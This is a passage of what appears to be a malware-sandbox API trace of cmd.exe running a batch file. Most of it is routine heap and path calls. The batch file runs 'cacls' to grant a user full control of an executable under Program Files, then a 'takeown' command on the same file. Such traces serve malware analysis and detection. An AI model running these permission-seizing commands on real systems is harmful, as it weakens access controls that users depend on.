0x5045f0 [0089.407] GetProcessHeap () returned 0x4f0000 [0089.407] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x501848, Size=0x4) returned 0x501848 [0089.407] FindClose (in: hFindFile=0x5045f0 | out: hFindFile=0x5045f0) returned 1 [0089.407] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0xffffffff [0089.407] GetLastError () returned 0x2 [0089.407] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0x5045f0 [0089.407] FindClose (in: hFindFile=0x5045f0 | out: hFindFile=0x5045f0) returned 1 [0089.407] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0089.407] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0089.407] GetConsoleTitleW (in: lpConsoleTitle=0x1aefd4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.408] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x504908, lpFilePart=0x1aeaf4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1aeaf4*="Desktop") returned 0x25 [0089.408] SetErrorMode (uMode=0x0) returned 0x1 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504900, Size=0x60) returned 0x504900 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504900) returned 0x60 [0089.408] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0089.408] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) returned 0x504968 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x504a90 [0089.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504a90, Size=0x122) returned 0x504a90 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504a90) returned 0x122 [0089.408] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x504bc0 [0089.408] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504bc0, Size=0x76) returned 0x504bc0 [0089.408] GetProcessHeap () returned 0x4f0000 [0089.408] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504bc0) returned 0x76 [0089.408] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.408] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0xffffffff [0089.409] GetLastError () returned 0x2 [0089.409] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0xffffffff [0089.409] GetLastError () returned 0x2 [0089.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0x504c40 [0089.409] FindClose (in: hFindFile=0x504c40 | out: hFindFile=0x504c40) returned 1 [0089.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0xffffffff [0089.409] GetLastError () returned 0x2 [0089.409] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0x504c40 [0089.409] FindClose (in: hFindFile=0x504c40 | out: hFindFile=0x504c40) returned 1 [0089.410] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0089.410] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0089.410] GetConsoleTitleW (in: lpConsoleTitle=0x1aed68, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.410] InitializeProcThreadAttributeList (in: lpAttributeList=0x1aebf0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1aecb8 | out: lpAttributeList=0x1aebf0, lpSize=0x1aecb8) returned 1 [0089.410] UpdateProcThreadAttribute (in: lpAttributeList=0x1aebf0, dwFlags=0x0, Attribute=0x60001, lpValue=0x1aecb0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1aebf0, lpPreviousValue=0x0) returned 1 [0089.410] GetStartupInfoW (in: lpStartupInfo=0x1aebac | out: lpStartupInfo=0x1aebac*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0089.410] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0089.412] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1aec4c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1aec98 | out: lpCommandLine="cacls \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x1aec98*(hProcess=0x74, hThread=0x78, dwProcessId=0xd4c, dwThreadId=0xd50)) returned 1 [0089.427] CloseHandle (hObject=0x78) returned 1 [0089.427] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0089.427] GetProcessHeap () returned 0x4f0000 [0089.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505fe8 | out: hHeap=0x4f0000) returned 1 [0089.427] GetEnvironmentStringsW () returned 0x505fe8* [0089.427] GetProcessHeap () returned 0x4f0000 [0089.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb36) returned 0x506b28 [0089.427] FreeEnvironmentStringsW (penv=0x505fe8) returned 1 [0089.427] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0091.640] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1aeb8c | out: lpExitCode=0x1aeb8c*=0x1f57) returned 1 [0091.640] CloseHandle (hObject=0x74) returned 1 [0091.640] _vsnwprintf (in: _Buffer=0x1aecd4, _BufferCount=0x13, _Format="%08X", _ArgList=0x1aeb98 | out: _Buffer="00001F57") returned 8 [0091.644] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0091.644] GetProcessHeap () returned 0x4f0000 [0091.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506b28 | out: hHeap=0x4f0000) returned 1 [0091.644] GetEnvironmentStringsW () returned 0x505fe8* [0091.644] GetProcessHeap () returned 0x4f0000 [0091.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x5081d0 [0091.645] FreeEnvironmentStringsW (penv=0x505fe8) returned 1 [0091.645] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.645] GetProcessHeap () returned 0x4f0000 [0091.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5081d0 | out: hHeap=0x4f0000) returned 1 [0091.645] GetEnvironmentStringsW () returned 0x505fe8* [0091.648] GetProcessHeap () returned 0x4f0000 [0091.649] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x5081d0 [0091.649] FreeEnvironmentStringsW (penv=0x505fe8) returned 1 [0091.649] GetProcessHeap () returned 0x4f0000 [0091.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e20 | out: hHeap=0x4f0000) returned 1 [0091.649] DeleteProcThreadAttributeList (in: lpAttributeList=0x1aebf0 | out: lpAttributeList=0x1aebf0) [0091.649] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.649] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0091.651] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.651] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0091.652] _get_osfhandle (_FileHandle=0) returned 0x3 [0091.652] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0091.662] SetConsoleInputExeNameW () returned 0x1 [0091.662] GetConsoleOutputCP () returned 0x1b5 [0091.664] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0091.664] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.667] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1af40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0091.667] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0091.667] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.667] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0091.667] GetProcessHeap () returned 0x4f0000 [0091.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504bc0 | out: hHeap=0x4f0000) returned 1 [0091.667] GetProcessHeap () returned 0x4f0000 [0091.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504a90 | out: hHeap=0x4f0000) returned 1 [0091.667] GetProcessHeap () returned 0x4f0000 [0091.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504968 | out: hHeap=0x4f0000) returned 1 [0091.667] GetProcessHeap () returned 0x4f0000 [0091.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504900 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504808 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5045f0 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504570 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504440 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504318 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5042b0 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5041c8 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0b20 | out: hHeap=0x4f0000) returned 1 [0091.668] GetProcessHeap () returned 0x4f0000 [0091.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f1250 | out: hHeap=0x4f0000) returned 1 [0091.668] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.668] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0091.668] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3f0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3f0*=0xc2, lpOverlapped=0x0) returned 1 [0091.669] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0091.669] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0091.669] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.669] GetFileType (hFile=0x74) returned 0x1 [0091.669] _get_osfhandle (_FileHandle=3) returned 0x74 [0091.669] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0091.669] GetProcessHeap () returned 0x4f0000 [0091.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0091.669] GetProcessHeap () returned 0x4f0000 [0091.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0091.670] _tell (_FileHandle=3) returned 47 [0091.670] _close (_FileHandle=3) returned 0 [0091.670] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af1c4 | out: _Buffer="\r\n") returned 2 [0091.670] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.670] GetFileType (hFile=0x7) returned 0x2 [0091.671] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0091.671] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af184 | out: lpMode=0x1af184) returned 1 [0091.671] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.671] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af1b0*=0x2) returned 1 [0091.673] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0091.673] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0091.673] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af1c0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0091.673] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af1c0 | out: _Buffer=">") returned 1 [0091.673] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.673] GetFileType (hFile=0x7) returned 0x2 [0091.674] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0091.674] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af188 | out: lpMode=0x1af188) returned 1 [0091.674] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.674] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af1b4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x1af1b4*=0x26) returned 1 [0091.674] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.674] GetFileType (hFile=0x7) returned 0x2 [0091.675] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0091.675] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af40c | out: lpMode=0x1af40c) returned 1 [0091.675] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.675] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4f0b28*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x1af438, lpReserved=0x0 | out: lpBuffer=0x4f0b28*, lpNumberOfCharsWritten=0x1af438*=0x7) returned 1 [0091.675] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af444 | out: _Buffer=" /F \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" ") returned 79 [0091.675] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.675] GetFileType (hFile=0x7) returned 0x2 [0091.675] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0091.675] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0091.676] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.676] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x4f) returned 1 [0091.677] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af464 | out: _Buffer="\r\n") returned 2 [0091.677] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.677] GetFileType (hFile=0x7) returned 0x2 [0091.677] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0091.677] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af424 | out: lpMode=0x1af424) returned 1 [0091.678] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.678] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af450, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af450*=0x2) returned 1 [0091.679] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0091.679] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0091.679] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0091.679] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0091.679] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0091.679] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0091.679] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0091.679] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0091.679] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0091.679] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0091.679] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0091.679] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0091.679] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0091.679] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0091.679] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0091.679] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0091.679] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0091.679] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0091.679] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0091.679] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0091.679] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0091.679] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0091.680] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0091.680] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0091.680] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0091.680] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0091.680] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0091.680] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0091.680] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0091.680] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0091.680] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0091.680] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0091.680] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0091.680] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0091.680] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0091.680] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0091.680] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0091.680] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0091.680] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0091.680] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0091.680] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0091.680] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0091.680] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x504280, lpFilePart=0x1af208 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af208*="Desktop") returned 0x25 [0091.680] SetErrorMode (uMode=0x0) returned 0x1 [0091.680] GetProcessHeap () returned 0x4f0000 [0091.680] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504278, Size=0x64) returned 0x504278 [0091.680] GetProcessHeap () returned 0x4f0000 [0091.680] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504278) returned 0x64 [0091.680] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0091.680] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0091.681] GetProcessHeap () returned 0x4f0000 [0091.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) returned 0x5042e8 [0091.681] GetProcessHeap () returned 0x4f0000 [0091.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x504410 [0091.681] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504410, Size=0x122) returned 0x504410 [0091.681] GetProcessHeap () returned 0x4f0000 [0091.681] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504410) returned 0x122 [0091.681] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0091.681] GetProcessHeap () returned 0x4f0000 [0091.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x504540 [0091.681] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504540, Size=0x76) returned 0x504540 [0091.681] GetProcessHeap () returned 0x4f0000 [0091.681] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504540) returned 0x76 [0091.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0xffffffff [0091.681] GetLastError () returned 0x2 [0091.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0xffffffff [0091.682] GetLastError () returned 0x2 [0091.682] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.682] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0x5045c0 [0091.682] FindClose (in: hFindFile=0x5045c0 | out: hFindFile=0x5045c0) returned 1 [0091.682] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0xffffffff [0091.683] GetLastError () returned 0x2 [0091.683] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x1aef84, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef84) returned 0x5045c0 [0091.683] FindClose (in: hFindFile=0x5045c0 | out: hFindFile=0x5045c0) returned 1 [0091.683] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0091.683] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0091.683] GetConsoleTitleW (in: lpConsoleTitle=0x1aefd4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.683] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x504d70, lpFilePart=0x1aeaf4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1aeaf4*="Desktop") returned 0x25 [0091.683] SetErrorMode (uMode=0x0) returned 0x1 [0091.683] GetProcessHeap () returned 0x4f0000 [0091.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504d68, Size=0x64) returned 0x504d68 [0091.683] GetProcessHeap () returned 0x4f0000 [0091.683] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504d68) returned 0x64 [0091.683] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0091.683] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0091.683] GetProcessHeap () returned 0x4f0000 [0091.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x120) 